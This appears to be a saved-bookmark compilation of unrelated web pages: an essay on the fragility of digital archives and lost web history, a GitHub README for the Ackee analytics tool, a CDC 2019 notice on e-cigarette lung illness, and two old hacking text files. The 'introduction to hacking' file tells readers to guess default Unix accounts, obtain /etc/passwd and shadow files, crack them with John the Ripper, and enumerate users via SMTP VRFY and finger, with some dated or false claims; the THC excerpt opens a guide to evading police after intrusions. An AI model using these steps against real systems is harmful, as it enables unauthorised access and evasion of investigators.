For Molly Soda, a digital artist whose work engages with questions of revisiting one’s virtual legacy, however messy, preservation is an active concern. Soda, whose teenage experiences with Myspace and Facebook were recently featured in the video game Wrong Box, has had to try to preserve several of her digital archives, most recently her three-thousand-post Tumblr collection, downloaded in the wake of the service’s draconian crackdown on acceptable material. At the same time, she expresses a sense of acceptance when questioned about her archival efforts, in full knowledge that the web companies tasked with mediating our computerized identities are at best ambivalent in their roles as stewards of such intimate materials.

“There’s this feeling of a loss of control that I’ve always sort of signed up for online,” Soda said. “On the one hand, I’m very upset when these websites go down, but on the other hand I’m like, ‘Yeah, I knew that going into it.’ This stuff is very impermanent, in new ways that I wouldn’t have conceived of.”

Of course, the internet is not the first new media form that’s proven unruly for historians hoping to make sense of the past. For those interested in the early days of filmmaking, the silence of the historical archive is perhaps even more absolute than that of the early web. According to the Film Foundation, an archival nonprofit founded by Martin Scorsese in 1990, more than 90 percent of pre-1929 films, and half of all films made before 1950, are gone forever.

Much like the web, the gaps in historic film preservation happened for both technical and cultural reasons. Before 1952, movies were primarily shot using nitrate film; its brittle and flammable nature resulted in several blazes that destroyed entire archives. But for years, studios and filmmakers refused to see the value in keeping their creations after their theatrical run. In testimony presented at the Library of Congress in 1993, film preservationist Robert Harris, who was responsible for producing the best-kept editions of classic films like Lawrence of Arabia and Rear Window, told officials: “Most of the early films did not survive because of wholesale junking by the studios. There was no thought of ever saving these films.”

Cowboy with amateur movie camera in Montana, 1939. Photograph by Arthur Rothstein. Library of Congress, Prints and Photographs Division.

The near-total loss of filmmaking’s early history is a monumental blow for researchers, who are unable to fully grasp the cultural and aesthetic impacts of many of the era’s defining movies. But while our digital traces may feel quotidian in comparison to these lost artistic works, researchers who study everyday life on the internet nevertheless lament a general cultural apathy toward digital preservation. These experiences may in time gain a significance that is not obvious to us today.

“I ask myself if people do really understand that they invest so much in their Instagram life. It’s a lot of work, but it will be gone because there is no way to save it in the way that it is,” said Olia Lialina, one of the archivists and researchers behind the Geocities Institute, which investigates the legacy of the once-beloved early webpage-hosting website. “All the interactions, the likes and the fights and everything, at this moment there is no capacity to preserve it for anybody.”

Web archiving is always a form of approximation, especially since internet preservation has primarily been the domain of code-savvy computer users or of the Internet Archive web crawler—decentralized processes driven by the obsessions and perspectives of individuals and the uncaring reach of algorithms. For all future historians of the digital age, whether on an individual or institutional level, a recognition of such limitations is essential. Jason Scott, whose work with the Internet Archive has saved many traces of the early web, calls this selective preservation “ice-core drilling,” a necessary reduction of what’s preserved in the face of so much abundance. In many ways, it mirrors concerns raised by Harris in his film-preservation testimony. Discussing the overwhelming number of films to be saved, he argued, “It simply is not all worth saving with today’s limited funding.”

Film preservation depends on a number of fragmented but overlapping technical concerns. A quality film reproduction often requires extensive reconstruction based on disparate source materials. Similarly, any living webpage relies on a host of contingent, external services, with plug-ins frequently contributing to a site’s existence. As a result, the act of holding on to webpages in perpetuity is almost certainly a losing task. Consider the retroactive destruction of Lialina’s Geocities archive: when Geocities Japan, the last vestige of the once-popular service, closed earlier this year, it had an impact on many portions of the saved digital archive that still depended on the living site in a number of unforeseen ways. It’s as if a malevolent patron entered a library and scattered priceless books in unknown new locations—except that the loss of any given digital archive is far more likely to be permanent.

According to University of Waterloo history professor Ian Milligan, most historians have yet to take seriously the fact that the explosive growth of the web into everyday use has passed into historical memory. Without considering the ways in which normal people made sense of late twentieth-century life—mediated for the first time on sites like Geocities, Yahoo, and AOL—one would have a simplistic understanding of many of the era’s defining events, from the fallout of the Clinton impeachment to the contested election of 2000 and 9/11. The internet has irrevocably reshaped our lives. For now, the historical record still struggles to reflect that shift.

It’s a concern that animates Milligan’s new book, History in the Age of Abundance? “Our society used to forget—put another way, we did not leave so many traces of ourselves behind,” he writes. While the archive has always privileged the interests of those most capable of leaving something for posterity, the internet age should, at least in theory, serve to upend this historic imbalance. Even with a recognition of the unevenness of digital adoption—divided along familiar lines of class, race, gender, and national origin—the significance of digital technologies in political unrest in the Arab Spring, or during the Occupy movement, any historical examination that doesn’t determine the internet’s impact on these events is incomplete.

That hasn’t stopped researchers like Lialina and Milligan from trying to challenge this imbalance. For Milligan, one of the biggest difficulties in working with something like the Geocities archive is the need to respect privacy. Even if something had been posted publicly, its creator, especially in the web’s infancy, may not have believed that their materials would be available, decades later, for a researcher’s perusal. In determining an appropriate approach, Milligan refers to the notion of an “intimate public,” which may technically grant anyone access to publicly posted materials, but in practice is intended for a select, self-determined audience online. He calls it a “new landscape for research,” with potentially monumental consequences for academics. The increasingly invasive and pervasive gaze of Google and Facebook, recently documented in detail in Shoshana Zuboff’s The Age of Surveillance Capitalism, means that detailed personal-data collections exist in inaccessible servers, an invisible archive that Zuboff calls the “shadow text.”

“It’s shocking how open people are, but mainly because even though they’re writing on a public website, in the 1990s it was probably just ten, twenty, thirty internet friends connecting with them,” Milligan said. “But I can come along in 2018, and it’s a public document, maybe taken out of context. I don’t even need to go to my ethics board to use this material.”

For Lialina, one attempt to get closer to her sources, and to enrich our understanding of their early homepages, is to contact Geocities users via email. She’s reached out to hundreds of accounts, most of which are disconnected, tied to users who have died or to people in disbelief that a researcher would have questions about their decades-old homepage. While the three successful interviews she’s conducted thus far speak to the significance of everyday users’ experiences as crucial to the historical record, their wider absence speaks volumes. We still don’t know how to value normal people’s places in telling the story of the internet, even as oral histories are otherwise essential in tracing lived experiences through epochal changes.

“I think people have heard so many times that what they made was just ridiculous or wrong, that nobody needs it, and that we should move to the next, better platform,” Lialina said. “People are quite modest, actually.”

The examples are endless, and seem to suggest that, even with clear goals and a desire to find specific materials in our digital pasts, the virtual archive is just as fragile as anything in the physical realm. I’ve found this to be true in my own research, in awe of potential research topics from the now-distant past that have vanished thanks to the adversities of careful archiving. One such project was The East Village, a “cybersoap” that shot several dozen episodes in the mid-1990s. It’s now vanished entirely from the web. Even if the page it called home, theeastvillage.com, had been preserved, most of the video content would have gone unsaved because of dead plug-ins and data-dense video files. As it stands, I don’t even have that. There is no evidence to understand its character, narrative form, or view of the neighborhood in question.

Still, my digging led me to find the email of Charles James Platkin, now a health researcher but once the show’s creator. When I received a response, asking me to call, the hope that I had unraveled a small historical mystery gave me an immeasurable joy.

In moments, this happiness was dashed. Platkin informed me that the entire project—all the scripts, films, everything that once went on the web in its infancy—had been destroyed in a flood.

Woman uses computer, 1994. Photograph by Martha Cooper. Library of Congress, Prints and Photographs Division.

An archivist’s dream is immaculate preservation, documentation, accessibility, the chance for our shared history to speak to us once more in the present. But if the preservation of digital documents remains an unsolvable puzzle, ornery in ways that print materials often aren’t, what good will our archiving do should it become impossible to inhabit the world we attempt to preserve?

The neglect of our digital past is mirrored by our increasingly tenuous hold on the physical world and its archives. These self-destructive tendencies were nowhere more vivid than in last year’s Brazilian National Museum fire, a readily preventable inferno that’s been described by cultural historians as “a lobotomy in Brazilian memory.” Especially with the ascendancy of protofascist Brazilian president Jair Bolsonaro, who has targeted humanities programs in Brazilian universities with sweeping cuts, the massive cultural death wrought by the museum’s destruction suggests a bleak future in which political and environmental forces unite to ravage our collective historical memory in unforeseen but unmistakable ways.

Both digital and physical archiving are rooted in the same fundamental impulse: hold on to the past so that it may retain meaning in the future. Or, as a voiceover from the recent documentary Recorder: The Marion Stokes Project, a film about a woman who saved decades of broadcast news, said: “All archives create futures.”

For every effort I’ve made to save digital objects of personal significance—rushing to get screenshots of my posts in a goofy Facebook meme group called Post Aesthetics, before the posts were deleted in the wake of a controversy around the “Dat Boi” frog and African American vernacular English—other artifacts are likely gone forever.

In 2016 I took a course at Northwestern University called “Art, Writing, Technology.” It was an unusual class, taught by an unusual professor. Danny Snelson is an English PhD by trade, but in practice someone who blurs scholarly boundaries and wouldn’t be caught dead teaching a course on Chaucer or Shakespeare. Our homework was a set of weekly art-making experiments, carried out primarily on a website called NewHive, a drag-and-drop pagemaking tool that made digital art readily accessible, perfect for making vivid webpages with tiled GIFs, flashing text, and embedded YouTube videos. While I mostly made use of the site during those eleven weeks—strange, discursive projects, reflective of a period of intense growth and change—my NewHive profile ever since has been a source of comfort and a testament to one of the most important months of my life.

Like many things that seemed too good to be true, NewHive had its warning signs. Mostly: it was free. Without monetizing my attention or charging me for server space to host my data-heavy creations, it seemed for years that the service was in a sort of suspended animation, needing growth and visibility to survive but lacking a clear path toward sustainability. Over time, I watched the service falter, as tiled GIFs went missing and audio files stopped functioning. Still, my homepage remained. Despite all advance warning, I never got around to preserving my pages.

My mind returned to NewHive a few weeks ago. Saving those old files now felt essential. I loaded my old NewHive URL, username hannertoward, into WebRecorder, the most accessible web preservation software available to the general public.

But almost thirty seconds after typing the URL into my browser, my fears were confirmed. My entire collection was replaced with a white page reading,

Home of the NEW NewHive...

We thank you for your patience

Everything was gone. I didn’t even get a warning.

Contributor

Tanner Howard

Tanner Howard is a freelance journalist and master’s student in urban planning and policy at the University of Illinois atChicago, with clips in the Guardian, CityLab, Pacific Standard, Slate, and elsewhere. They can be found on Twitter @tanner_howard.

Connect

Learn More

Outreach

Stay in Touch

Subscribe to

Lapham’s Newsletter

Subscribe to our mailing list

Add Tags ?

AddDeleteNo

close

close

electerious/Ackee: Self-hosted, Node.js based analytics tool for those who care about privacy.

       electerious/Ackee: Self-hosted, Node.js based analytics tool for those who care about privacy.                                       



Skip to content

![](https://github.githubassets.com/images/search-key-slash.svg)
  • In this repository All GitHub ↵

    Jump to ↵

  • No suggested jump to results

  • In this repository All GitHub ↵

    Jump to ↵

  • In this repository All GitHub ↵

    Jump to ↵

Pull requests Issues

Marketplace

Explore

New repository Import repository New gist New organization

This repository

New issue

Signed in as tg-z

lost

Edit status

Could not update your status, please try again.

80 remaining

Suggestions:

🌴

On vacation

🤒

Out sick

🏠

Working from home

🎯

Focusing

Busy

When others mention you, assign you, or request your review, GitHub will let them know that you have limited availability.

Clear status

Never

  • Never

    Keep this status until you clear your status or edit your status.

  • in 30 minutes

  • in 1 hour

  • in 4 hours

  • today

  • this week

Set status Clear status

Your profile Your repositories Your projects Your stars Your gists

Help Settings

Sign out

  • done In Queue

  • bookmark Bookmarked

  •     Watch   
    

    Notifications

    Not watching Be notified only when participating or @mentioned. Watch

    Releases only Be notified of new releases, and when participating or @mentioned. Unwatch releases

    Watching Be notified of all conversations. Unwatch

    Ignoring Never be notified. Stop ignoring

    20

  •   Unstar  [768](/electerious/Ackee/stargazers) 
    
      Star  [768](/electerious/Ackee/stargazers) 
    
  •  Fork
    

    32

electerious/Ackee

Code Issues 8 Pull requests 0 Actions Security Insights

Self-hosted, Node.js based analytics tool for those who care about privacy. https://ackee.electerious.com

JavaScript CSS Dockerfile

  1. JavaScript 63.5%
  2. CSS 36.1%
  3. Dockerfile 0.4%

Branch: master New pull request

Create new file

Upload files Find File

Clone or download

Use SSH

Clone with HTTPS

Use Git or checkout with SVN using the web URL.

Use HTTPS

Clone with SSH

You don't have any public SSH keys in your GitHub account. You can add a new public key, or try cloning this repository via HTTPS.

Use a password protected SSH key.

Open in Desktop Download ZIP

Launching GitHub Desktop...

If nothing happens, download GitHub Desktop and try again.

Go back

Launching GitHub Desktop...

If nothing happens, download GitHub Desktop and try again.

Go back

Launching Xcode...

If nothing happens, download Xcode and try again.

Go back

Launching Visual Studio...

If nothing happens, download the GitHub extension for Visual Studio and try again.

Go back

electerious Adjust text to include FAQ

Loading status checks…

Latest commit 7022fe4 2 days ago

Permalink

Type Name Latest commit message Commit time
Failed to load latest commit information.
docs FAQ and text changes 3 days ago
src Try to get more difference between days 7 days ago
test Add domainId to identifier to make it unique to each domain 16 days ago
.dockerignore Docker stuff 7 months ago
.gitignore Ignore data folder 6 months ago
.travis.yml [Try to fix "Timeout after build finished (and succeeded)"](/electerious/Ackee/commit/0822bf3ed92f77bc74d3e863efcaec1c1b575a64 "Try to fix "Timeout after build finished (and succeeded)"") last month
CHANGELOG.md v1 6 days ago
Dockerfile Docker stuff 7 months ago
LICENSE Added license 8 months ago
README.md Adjust text to include FAQ 2 days ago
docker-compose.yml [Works even without "links"](/electerious/Ackee/commit/5cbf56724e01f72830ddf6e180eca08399eae4a4 "Works even without "links"") 6 months ago
package.json Update description 16 days ago
yarn.lock Demo mode 22 days ago

README.md

Ackee





Self-hosted, Node.js based analytics tool for those who care about privacy. Ackee runs on your own server, analyses the traffic of your websites and provides useful statistics in a minimal interface.


Contents

Get started

Get Ackee up and running…

And configure Ackee and your server correctly…

Take a look at the FAQ if you have any questions left.

Introduction

What is Ackee?

Ackee is a web app you install on your server to analyse the traffic of your sites.

Why Ackee?

Ackee is lightweight, easy to install and has a good balance between analytics and privacy. It features an API and web interface and tracks only what's necessary.

It's is the right tool for you if you care about privacy and don't need a full-features marketing analytics platform like Google Analytics or Matomo.

Benefits of Ackee?

  • Self-hosted
  • Lightweight and easy to install
  • Modern and fast architecture
  • Beautiful and focused interface
  • No unique user tracking and no cookies
  • Fully documented API

How does it work?

You run the Ackee server which then waits for requests through its API.

The API of Ackee accepts information about your visitors sent to it using ackee-tracker. It's a small script you add to your sites, similar to the JavaScript tracking snippet provided by Google Analytics.

The interface of Ackee lets you view and analyse your tracked information.

Documentation

Requirements

Ackee depends on...

Make sure to install and update all dependencies before you setup Ackee.

API

Options

The following environment variables are used by Ackee. You can also create a .env file in the root of the project to store all variables in one file.

Database

MongoDB connection URI. See the MongoDB connection string spec for more detail.

MONGODB=mongodb://localhost:27017/ackee

Port

The port Ackee should listen on. Defaults to 3000.

PORT=3000

Username and password

Username and password. Both are required to generate a new token.

USERNAME=username
PASSWORD=password

TTL

Specifies how long a generated token is valid. Defaults to 3600000 (1 day).

TTL=3600000

Environment

Set the environment to development to see additional details in the console and to disable caching.

NODE_ENV=development

More

More documentation and guides are located in the /docs folder. Also take a look at the FAQ if you have any questions left.

You can’t perform that action at this time.

set Restriction

You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.

navigate_next

close

_close_Close

_open_in_new_Open in new tab

Add Tags ?

articles

blockstack

bookmarks

dapp

github

interesting

learn

music

paste

swedish

AddDeleteNo

close

close

Add Tags ?

AddDeleteNo

close

close

web.textfiles.com/hacking/basihack.txt

An introduction to hacking
--------------------------

This is a brief tutorial designed to show you how to get started with
hacking. It is not an in depth analysis of Unix and I will not show you how
to hack specific systems or give you any specific usernames or passwords.
Anything that you do after reading this file is NOT my responsibility, so
don't expect me to write to you in jail if you get caught. If you are an
advanced hacker, then I suggest you give this a miss as it's designed for
beginners...

Section 1 : What exactly is a hacker then?

Tricky one really. There are hundreds of definitions floating around, but
the basic description of a hacker would be someone who accesses and uses a
computer system in ways which a normal user might not think of. This may be
legal, but chances are that it will be illegal. Also, many hackers might not
consider you to be one of them unless you have the hacker attitude.
Basically what this means is that you have a certain view over the way in
which things should be done. For example, nearly all hackers are anti
authoritarian. Another thing which you really should do is give voluntry
help to other hackers. This may be in the form of debugging programs that
they have written, informing them of new bugs in systems e.t.c.... There are
plenty of detailed FAQ's out there, so I won't go into it in detail. Try
looking up 'hacker ethics' in any descent search engine (www.altavista.com
is pretty good) for more

Section 2 : Tell me how to hack!

Yeah right. You ask any hacker or newsgroup this and your gonna get flamed.
Flaming is when someone responds to your question by throwing a string of
anger and obsenities at you because they are mad. Why would they do this?
After all hacking is about giving voluntry help isn't it? Well, asking how
to hack is not only far too general, but it's also pointless. Nobody can
tell you how to hack. They can give you passwords, programs and bugs, but
they by doing this they would be stopping you from learning and discovering
new things, and let's face it, the best way to learn to hack is to do it.

Section 3 : Where to learn

Apart from actually hacking, the most important thing you can do is read.
Texts can come from a variety of sources, including your local library and
of coarse the internet. There are some around with titles like 'The secret
underworld of hacking' but these are mostly a waste of time, and contain no
valuable information. Instead, read books with titles like : 'Unix : An
introduction' or 'How to teach yourself Unix'. These will contain a wealth
of commands and information. You will not learn by simply downloading
programs to do your work for you, although some are essential (I'll tell you
which ones later).

Section 4 : The art of hacking

Hacking is in many ways an art. It takes time, patience and intelligence.
You won't get immediate gratification, but if you do get good, then it's
really worth it. There are several skills accosiated with hacking, but the
fundemental one, which is often overlooked by newbies is the ability to
program. Programming is basically telling the computer what to do, and a
programming language is the way in which you write it. Again, there are
millions of tutorials to do with this subject, and it is FAR too big to go
into here. The basic languages you will need to know are perl and c, which
are the main languages for the Unix operating system (I'll go onto that in a
second). Again, any good search engine will give you hundreds of sites
realted to these. Just to give you an idea of what programming is about,
here' some c source code (that's the text before it is compiled/interpreted
so the computer can understand it):

#include
using namespace std;
int main()
{
cout<<'Hi there, how are you!';
}

Note that this section of code is taken from a MSDOS application. Unix will
differ slightly. Although it can be a bit tedious, programming is very
rewarding, and is very important if you want to become a good hacker. You
won't need to become some programming genius to hack though, just have a
general idea of the syntax used by the languages. The next important skill
you need to learn is how to use the Unix operating system. This is an
operating system (like windows or DOS) which is specifically designed for
networking. Most big servers use it and it allows thousands of users to
connect to virtual (software) and hardware ports remotely ( if the computer
it is operating has them). Like programming, Unix is very complicated and
detailed, so I can only give you an introduction here. The best way to teach
you what Unix is is to give you an example. This example assumes that the
person using it has a shell account (a user name and password so that he can
log in and use the computers), and that the user has windows on their
computer. It is entirely fictional:

(In the run bar)
telnet shinracorperation.com 23
(Telnet starts up, there's a brief pause before the cursor starts flashing)
SunOS : 5.10
login:rudolf
password:########

Welcome to the shinra corperations main server. Type 'help' for more.
$

That is an example of a typical Unix system. To operate it, we run telnet
(the standard telnet program included with windows), this will allow our
computer to communicate with the remote server which is
shinracorperation.com. The number 23 after it tells telnet to connect to
port 23 on the computer. Ports allow remote users to input commands to the
computer. A computer can have thousands of ports, each with a different
number, but the most common and what they do are:

13 : Date and time port (pretty useless really)
21 : FTP (File transport Protocal) port
23 : Standard telnet port. This is the port which the telnet program will
try to open by default
25 : Send Mail port. This allows the user to operate an ancient send mail
program which can send messages to email addresses on that server (more
later)
79 : The 'finger' port. This allows the user to type in the name of a user
and get details on them (very useful)
80 : Standard http port (it's the one your browser opens)
110 : POP port. Allows you to operate a primitive POP email program.

To connect to each of these ports you would put the number instead of 23 in
the command line. The next line tells us what type of operating system the
computer is using. This will become important if you need to use a bug or
back door to get into the system, as they vary from operating system to
operating system. One advantage of Unix operating systems is that they don't
record your login attemps, so the sysadmin won't find 6000 attempts in his
log file when he has a look. Now, the only thing holding us back here is the
need for a username and password. In the early days of hacking, you could
telnet to any computer, type in root as your username and root as your
password and you'd be in with superuser privialges (root is the username
that should give you the ability to do anything on that computer). That
ain't gonna happen these days. There are some servers which you might be
lucky enough to guess a username and password on, so have a look at the list
below of common Unix users:

root
admin
adm
sysadmin
guest (VERY often the password will be guest too)
test
demo
uucp

Although unlikely, these may work if you enter the password the same as the
username, it's worth a try. I hope that gave you an idea of what Unix is.
The final part, by the way, was the command prompt, similair to the C:\>
prompt in DOS. Here you would enter commands for the computer. Since this is
only an introduction, I won't go into commands here, but there are plenty of
books, many from your local library which will tell you how to use Unix. You
can find more information on how to exploit bugs in Unix operating systems
and backdoors in them by using a search engine. Chances are that you will
not be able to guess the password. In this case you'll need to do some
research. Try looking at the companies web site, and finding out things
about them.

Section 5 : Toolz

Although you should use them as little as possible, you will need to use
some programs. One of the most essential is a password cracking program. In
most Unix systems, the password file is located in /etc/passwd. As I've
said, there are plenty of files which will tell you how to download it, so I
won't go into that here. Now, assuming you've got the password file, you'll
need a program called John the Ripper deencrypt the file and get the
passwords. If you open the passwd file with a standard editor like notepad
or edit, you will see something like:

root:h589798Hhgh:0:0:/etc

or

root:x:0:0:/etc

With many more lines added on. If it looks like the first one, then not only
are you lucky, but you've got the passwords for the entire system. Now run
Jack the ripper on it, and if your dictionary file (a file with lots of
standard passwords in it) is good enough, you should at least get a few of
the passwords. If you get root, then get very, very excited. You can now log
into the system and do anything. BUT be warned, you do ANY damage what so
ever, and they'll find you within a couple of hours, so DON'T. Not only
that, but it'll make you a cracker which is someone who breaks into a system
to do damage to it, they are looked down upon by real hackers. Now, if it
looks more like the second one, get ready to cry 'cos the password file is
shadowed. This means that although the users are stored in the passwd file,
the passwords are stored in different one, usually /etc/shadow. This
obviously means that you must download the shadow file (the server probably
won't let you), merge it with the passswd file, and then run john the ripper
on it. If you can get both the passwd and shadow files, you'll need to get a
program called VCU to merge them, although there are some others around.
Shadowing is used by most servers these days, and makes life a hell of a lot
more difficult

Section 6 : Using programs on the server

The first program I'm gonna look at is SMTP (send mail) which is usually
stored on port 25. I'm not gonna give any direct examples here, but replace
the xxx part with virtually any server name and you should find one:

telnet xxx 25

SMPT Version 1.3 Ready

And that is all you get. You are now ready to run this program. It allows
you to send mail to anyone who has an email address within that server. The
commands that you'll need to know to use this program are

help - gives you a list of commands. If you follow it with a command, it
will give you help on it

helo - This tells the computer who you are

mail from:xxx - It will say who the mail is from on the message (replace xx
with a made up or real email address)

rcpt to: - Who the mail will go to. It must be within the server that you
are hacking or you will get the error 'Relaying not allowed'

data : Press enter, and type in what you want the message to say. Put a full
stop (a period) and a seperate line and press enter to end and send the
message

quit : Disconnects you

vrfy xxx : Replace the xxx with a user name, and it will tell you if it
exists

This should give you a basic idea of how to use the program. The commands
should come in that order to send mail (vrfy is not needed to send mail, you
can simply use it to tell if a user exists. Oh yeah, and you won't see what
you type in.

The other program I'm gonna look at is in port 79 so type:

telnet xxx 79

You will be greeted by, well nothing. Loads of servers have closed this
port, but if they have it open, then it is very useful. All you do is type
in the name of the user you want to finger, and it will give you their
account details. Try all of the common users above. This program will
usually only let you finger one user before disconnecting.

Conclusion

I hope this has been an informative introduction into the world of hacking.
Even at this level, there are tonnes more things which you will need to find
out about so that you can hack. I suggest you look the following things up
in your search engine:

Unix operatins system
computer security
hacking
c programming
perl programming
hacking tutorials

Hopefully you will find what you need. One last word of warning, be VERY
careful about hacking, and don't do any damage, you WILL get caught if you
do. Oh yeah, and have fun...

Legal Stuff...

You may reproduce this document on any web page or on any CDROM or
otherwise. You do not have to ask my permission or anything, as long as it
remains unchanged and I get the credit. As I've already said, I'm not
responsible if you act on the information above, and this was intended for
EDUCATIONAL PURPOSES ONLY.

Chaw...

Seditious

set Restriction

Add Tags ?

AddDeleteNo

close

close

Outbreak of Severe Pulmonary Disease Linked with E-cigarette Product Use

      Outbreak of Severe Pulmonary Disease Linked with E-cigarette Product Use                                    set Restriction  

Skip directly to site content Skip directly to page options Skip directly to A-Z link

Centers for Disease Control and Prevention. CDC twenty four seven. Saving Lives, Protecting People Centers for Disease Control and Prevention. CDC twenty four seven. Saving Lives, Protecting People

Search

×

Submit

For a full list of topics: A-Z Index

Smoking & Tobacco Use

Section Navigation Outbreak of Lung Illness Associated with Using E-cigarette Products

Home

  1. Home
  2. Basic Information
  3. Electronic Cigarettes

Outbreak of Lung Illness Associated with Using E-cigarette Products

minus

Related Pages

Investigation Notice

Posted September 6, 2019 at 9:50pm ET

CDC, U.S. Food and Drug Administration (FDA), state and local health departments, and other clinical and public health partners are investigating a multistate outbreak of severe pulmonary disease associated with e-cigarette product (devices, liquids, refill pods, and/or cartridges) use. This investigation is ongoing and has not identified a cause, but all reported cases have a history of using e-cigarette products.

E-cigarettes are devices that deliver an aerosol to the user by heating a liquid that usually contains nicotine, flavorings, and other chemicals. E-cigarettes can also be used to deliver marijuana or other substances.

On This Page

Latest Outbreak Information

  • As of September 6, 2019, over 450 possible cases of lung illness associated with the use of e-cigarette products have been reported to CDC from the following 33 states and 1 U.S. territory: AR, CA, CO, CT, DE, FL, GA, IA, IL, IN, KS, KY, LA, MD, MI, MN, MT, NC, NE, NJ, NM, NY, OH, OR, PA, SC, TN, TX, UT, VA, VT, WI, WV, and the U.S. Virgin Islands). These numbers may change frequently.
  • Five deaths have been confirmed in California, Illinois, Indiana, Minnesota, and Oregon.
  • CDC worked with states to create a case definition to classify cases in a consistent way. State investigators determine if cases are confirmed or probable after examining the medical records of suspected cases and consulting with the clinical care team to exclude other possible causes. Unlike nationally reportable conditions, these cases are requiring clinicians and public health to interview patients to determine product use and individual behaviors.
  • CDC will report numbers of confirmed and probable cases once states have finalized their classification of cases.
  • We expect that states and clinicians may look back for older cases based on CDC’s case definition. States are in the process of classifying current possible cases as well as older cases.
  • No evidence of infectious diseases has been identified; therefore lung illnesses are likely associated with a chemical exposure. Initial published reports from the investigation point to clinical similarities among cases. Patients report e-cigarette use and similar symptoms and clinical findings. These align with the CDC health advisory released August 30, 2019.
  • The investigation has not identified any specific substance or e-cigarette product that is linked to all cases. Many patients report using e-cigarette products with liquids that contain cannabinoid products, such as tetrahydrocannabinol (THC).
  • These investigations are ongoing. CDC will provide updates when more information is available.

Top of Page

Map of Reported Cases

Top of Page

Recommendations for the Public

While this investigation is ongoing, consider not using e-cigarette products.

If you do use e-cigarette products and you experience symptoms like those reported in this outbreak, seek medical care promptly. CDC and the FDA will continue to alert the public throughout this investigation.

Regardless of the ongoing investigation:

  • Youth and young adults should not use e-cigarette products.
  • Women who are pregnant should not use e-cigarette products.
  • Adults who do not currently use tobacco products should not start using e-cigarette products.
  • If you do use e-cigarette products, you should not buy these products off the street (for example, e-cigarette products with THC or other cannabinoids).
  • You should not modify e-cigarette products or add any substances to these products that are not intended by the manufacturer.
  • Adult smokers who are attempting to quit should use evidence-based treatments, including counseling and FDA-approved medications. If you need help quitting tobacco products, including e-cigarettes, contact your doctor or other medical provider.

If you are concerned about your health after using an e-cigarette product, you can also call your local poison control center at 1-800-222-1222.

CDC and FDA encourage the public to submit detailed reports of any unexpected health or product issues related to tobacco or e-cigarette products to the FDA via the online Safety Reporting Portal.

Top of Page

Symptoms of Severe Pulmonary Disease Reported by Some Patients in This Outbreak

  • Patients in this investigation have reported symptoms such as:
    • cough, shortness of breath, or chest pain
    • nausea, vomiting, or diarrhea
    • fatigue, fever, or weight loss
  • Some patients have reported that their symptoms developed over a few days, while others have reported that their symptoms developed over several weeks. A pulmonary infection does not appear to be causing the symptoms, which have generally not improved with antibiotic treatment alone.

Top of Page

Recommendations for Healthcare Providers

As this investigation continues, CDC encourages clinicians to report possible cases of e-cigarette-associated pulmonary disease to their local or state health department for further investigation.

If e-cigarette product use is suspected as a possible cause for a patient’s lung disease, a detailed history of the substances used, the sources, and the devices used should be obtained, as outlined in the HAN, and efforts should be made to determine if any remaining product, devices, and liquids are available for testing.

Top of Page

Recommendations for Local and State Public Health Departments

CDC encourages local and state health departments to notify CDC about possible cases promptly, and contact CDC for the most recent versions of the surveillance case definitions, reporting guidelines, and case investigation forms.

Local and state public health departments that need data collection tools should email CDC at [email protected].

Top of Page

Investigation Details

August 30, 2019

CDC, several states, and federal partners are investigating a multistate outbreak of severe pulmonary disease associated with using e-cigarette products. The investigation is ongoing and has not identified a cause, but all reported cases have indicated use of e-cigarette products.

Based on reports from several states, patients have experienced respiratory symptoms (cough, shortness of breath, or chest pain), and some have also experienced gastrointestinal symptoms (nausea, vomiting, or diarrhea) or non-specific symptoms (fatigue, fever, or weight loss). Some patients have reported that their symptoms developed over a few days, while others have reported that their symptoms developed over several weeks. Some patients have reported gastrointestinal symptoms began before respiratory symptoms. Fever, elevated heart rate, and elevated white blood cell count have been reported, even though no infectious disease has been identified. Many patients sought medical care in ambulatory settings, sometimes over several visits, before they were admitted to the hospital.

Many patients have required medical treatment with supplemental oxygen. Some required assisted ventilation. Some patients have been treated with corticosteroids with demonstrated improvement. Evidence does not suggest an infectious disease is the cause of the severe pulmonary disease. Antibiotic therapy alone has not consistently been associated with clinical improvement.

Investigation of the Outbreak

CDC, FDA, state and local health departments, and other clinical and public health partners are investigating a multistate outbreak of pulmonary disease associated with e-cigarette product (devices, liquids, refill pods, and/or cartridges) use. This ongoing investigation seeks to identify the exposures, demographic, clinical, and laboratory features and behaviors of patients. All patients have reported e-cigarette product use. Some patients have reported using e-cigarettes containing cannabinoid products, such as THC. To date, the investigation has not identified any single substance or e-cigarette product that has been consistently associated with illness.

State health departments are working with FDA to enable collection of e-cigarette product specimens for testing at the U.S. FDA Forensic Chemistry Center.

Top of Page

Key Resources

Top of Page


Multimedia

CDCTobaccoFree

Page last reviewed: September 6, 2019

Content source: Office on Smoking and Health, National Center for Chronic Disease Prevention and Health Promotion

home Home

Social_govd govD Get Email Updates

To receive email updates about Smoking & Tobacco Use, enter your email address:

Email Address

What's this

Submit

Quick Links

Related CDC Sites

More CDC Sites

HAVE QUESTIONS?

Visit CDC-INFO

Call 800-232-4636

Email CDC-INFO

CDC INFORMATION

CONNECT WITH CDC

U.S. Department of Health & Human Services

USA.gov

CDC Website Exit Disclaimer external icon

file_external

Exit Notification/Disclaimer Policy

Close

Links with this icon indicate that you are leaving the CDC website.

  • The Centers for Disease Control and Prevention (CDC) cannot attest to the accuracy of a non-federal website.
  • Linking to a non-federal website does not constitute an endorsement by CDC or any of its employees of the sponsors or the information and products presented on the website.
  • You will be subject to the destination website's privacy policy when you follow the link.
  • CDC is not responsible for Section 508 compliance (accessibility) on other federal or private website.

For more information on CDC's web notification policies, see Website Disclaimers.

Cancel Continue

Add Tags ?

AddDeleteNo

close

close

web.textfiles.com/hacking/cover-your-tracks-large.txt

Author: van Hauser / THC

I.INTRODUCTION
II.MENTAL
III.BASICS
IV.ADVANCED
V.UNDER SUSPECT
VI.CAUGHT
VII.PROGRAMS
VIII.LAST WORDS

I. INTRODUCTION

Please excuse my poor english - I'm german so it's not my mother language
I'm writing in. Anyway if your english is far better than mine, then don't
think this text hasn't got anything to offer you. In contrast. Ignore the
spelling errors & syntax - the contents of this document is important ...

 NOTE : This text is splitted into TWO parts.
        The first one, this, teaches about the background and theory.
        The second just shows the basics by an easy step-by-step
        procedure what to type and what to avoid.
        If you are too lazy to read this whole stuff here (sucker!)
        then read that one. It's main targets are novice unix hackers.

If you think, getting the newest exploits fast is the most important thing
you must think about and keep your eyes on - you are wrong. How does the
best exploit helps you once the police has seized your computer, all your
accounts closed and everything monitored? Not to mention the warrants etc.
No, the most important thing is not to get caught. It is the FIRST thing
